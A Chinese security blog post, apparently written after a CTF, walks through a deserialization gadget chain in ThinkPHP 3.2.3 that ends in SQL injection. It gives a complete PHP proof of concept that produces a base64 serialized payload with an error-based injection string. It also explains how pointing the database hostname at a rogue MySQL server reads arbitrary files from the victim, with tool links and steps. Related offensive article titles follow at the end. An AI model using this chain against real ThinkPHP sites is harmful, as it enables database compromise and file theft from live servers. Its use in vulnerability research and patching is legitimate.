ThinkPHP3.2.3 反序列化&sql注入漏洞分析

ThinkPHP3.2.3 反序列化&sql注入漏洞分析

环境

php5.6.9 thinkphp3.2.3

漏洞分析

首先全局搜索 __destruct,这里的 $this->img 可控,可以利用其来调用 其他类的destroy() 方法,或者可以用的__call() 方法,__call() 方法并没有可以利用的

那就去找 destroy() 方法

注意这里,destroy() 是有参数的,而我们调用的时候没有传参,这在php5中是可以的,只发出警告,但还是会执行。但是在php7 里面就会报出错误,不会执行。所以漏洞需要用php5的环境。

继续寻找可利用的delete()方法。

Think\Model类即其继承类里,可以找到这个方法,还有数据库驱动类中也有这个方法的,thinkphp3的数据库模型类的最终是会调用到数据库驱动类中的。

先看Model类中

还需要注意这里!!如果没有 $options['where'] 会直接return掉。

跟进 getPK() 方法

$pk 可控 $this->data 可控 。

最终去驱动类的入口在这里

下面是驱动类的delete方法

我们在一开始调用Model类的delete方法的时候,传入的参数是

$this->sessionName.$sessID

而后面我们执行的时候是依靠数组的,数组是不可以用 字符串连接符的。参数控制不可以利用$this->sessionName

但是可以令其为空(本来就是空),会进入Model 类中的delete方法中的第一个if分支,然后再次调用delete方法,把 $this->data[$pk] 作为参数传入,这是我们可以控制的!

看代码也不难发现注入点是在 $table 这里,也就是 $options['table'],也就是 $this->data[$this->pk['table']];

直接跟进 driver类中的execute() 方法

跟进 initConnect() 方法

跟进connect() 方法

数据库的连接时通过 PDO 来实现的,可以堆叠注入(PDO::MYSQL_ATTR_MULTI_STATEMENTS => true ) 需要指定这个配置。

这里控制 $this->config 来连接数据库。

driver类时抽象类,我们需要用mysql类来实例化。

到这里一条反序列化触发sql注入的链子就做好了。

POC

<?php
namespace Think\Image\Driver;
use Think\Session\Driver\Memcache;
class Imagick{
    private $img;
    public function __construct(){
        $this->img = new Memcache();
    }
}

namespace Think\Session\Driver;
use Think\Model;
class Memcache {
    protected $handle;
    public function __construct(){
        $this->sessionName=null;
        $this->handle= new Model();
    }
}

namespace Think;
use Think\Db\Driver\Mysql;
class Model{
    protected $pk;
    protected $options;
    protected $data;
    protected $db;
    public function __construct(){
        $this->options['where']='';
        $this->pk='jiang';
        $this->data[$this->pk]=array(
            "table"=>"mysql.user where 1=updatexml(1,concat(0x7e,user()),1)#",
            "where"=>"1=1"
        );
        $this->db=new Mysql();
    }
}
namespace Think\Db\Driver;
use PDO;
class Mysql{
    protected $options ;  
    protected $config ;
    public function __construct(){
        $this->options= array(PDO::MYSQL_ATTR_LOCAL_INFILE => true );   // 开启才能读取文件
        $this->config= array(
            "debug"    => 1,
            "database" => "mysql",
            "hostname" => "127.0.0.1",
            "hostport" => "3306",
            "charset"  => "utf8",
            "username" => "root",
            "password" => "root"
        );
        }
}

use Think\Image\Driver\Imagick;
echo base64_encode(serialize(new Imagick()));

table 需要是一张存在的表,比如mysql.user,或者information_schemata 里面的表,否则会报表不存在的错误。

这里可以连接任意服务器,所以还有一种利用方式,就是MySQL恶意服务端读取客户端文件漏洞。

利用方式就是我们需要开启一个恶意的mysql服务,然后让客户端去访问的时候,我们的恶意mysql服务就会读出客户端的可读文件。这里的hostname 是开启的恶意mysql服务的地址以及3307端口

下面搭建恶意mysql服务,用的是原作者的https://github.com/Gifts/Rogue-MySql-Server

还有一个go版本的,看起来比较全面。https://github.com/rmb122/rogue_mysql_server

修改portfilelist

执行python脚本后,发包,触发反序列化后,就会去连接恶意服务器,然后把客户端下的文件带出来。

下面就是mysql.log 中的 文件信息(flag.txt)

当脚本处于运行中的时候,我们只可以读取第一次脚本运行时定义的文件,因为mysql服务已经打开了,我们需要关闭mysql服务,然后才可以修改脚本中的其他文件。

ps -ef|grep mysql

然后依次 kill 就好。

写在后面

如果觉得sql注入攻击局限了,还可以配合MySQL恶意服务器实现任意文件读取。

先前并没有看过tp3 的洞,这次比赛(红明谷)的时候,拿到源码就开始审,直觉告诉我一定有可以利用的 __call 方法,于是头铁去找,没找到也没想去找其他类中的同名方法。如果一个地方的思路有两条,一条不通的时候,一定要去看看另一条,即使你不知道他是否也不通。

本文来源于: https://xz.aliyun.com/t/9441

相关推荐

cs bypass卡巴斯基内存查杀 2

cs bypass卡巴斯基内存查杀 上次看到yansu大佬写了一篇cs bypass卡巴斯基内存查杀,这次正好有时间我也不要脸的跟跟风,所以同样发在先知社区 yansu大佬是通过对cs的特征进行bypass,这次让我们换一种思路,尝试从另一

浅谈XSS

XSS漏洞 绕过推荐 XSS绕过可以看看该文章:XSS过滤绕过速查表 0.介绍 跨站攻击,即Cross Site Script Execution(通常简写为XSS),是前端的漏洞,产生在浏览器一端的漏洞。它是指攻击者在网页中嵌入客户端脚本

记一次刨根问底的HTTP包WAF绕过

记一次刨根问底的HTTP包WAF绕过 一:具体的包 POST /sql/post.php HTTP/1.1 Host: 192.168.1.72 Cache-Control: max-age=0 Upgrade-Insecure-Reque

CVE-2021-21975&CVE-2021-21983 VMware vRealize SSRF、任意文件上传漏洞分析

CVE-2021-21975 漏洞复现 漏洞分析 位于casa/WEB-INF/classes/com/vmware/ops/casa/api/ClusterDefinitionController.class有一个路由/nodes/thu

记一次对某收费协同办公系统的审计(.Net审计)

概述 这系统是二、三月份的时候朋友发我的,叫我审计一下,大概看了一下漏洞挺多的,引擎搜索了一下发现没人报出来,但应该不少人知道了,以为只是一个小型的系统,但没想到关键字一查有1W多个,算中型了,由于是收费的系统,不好透露,怕厂商警告,这里简

网络层ICMP隧道研究

网络层ICMP隧道研究 [TOC] ICMP隧道概念 介绍:ICMP协议常用于我们判断网络是否可达的ping命令,它不同于其他通讯协议的地方在于:它在进行通讯时不需要开放端口,并且计算机防火墙不会屏蔽ping数据包,实现不受限制的网络访问。

test

测试

大数据框架Hue命令执行技巧

目前大数据是一个流行趋势,多数企业采用开源大数据框架来处理复杂的大体量数据,大数据管理平台Hue 是一个Web应用,用来简化用户和Hadoop集群的交互,技术架构从总体上来讲采用的是B/S架构,该web应用的后台采用python编程语言编写

Cisco RV345路由器高危漏洞研究分享

0x0 前言 思科公司是全球领先的网络解决方案供应商。依靠自身的技术和对网络经济模式的深刻理解,思科成 为了网络应用的成功实践者之⼀。 0x1 简介 关键点:upload.cgi中的fileparam参数,可以参考:https://www.

Fuzz Server With AFL

Problem 因为个人偏爱AFL,习惯用AFL做模糊测试,发现一些CVE,但是一直苦于AFL的工作方式,由于AFL只能够从stdin/file获取输入,变异。 而网络应用多是socket或者其他network相关的通信方式,而且默认情况下

记一次曲折的edu挖洞

记一次曲折的edu挖洞 在挖edusrc时,对着某站的搜索框进行测试时突然发现了sql注入,但没想到这才是噩梦的开始。 尝试联合查询 访问url/search.jsp?key=12'页面显示了500,但是访问url/search.jsp?k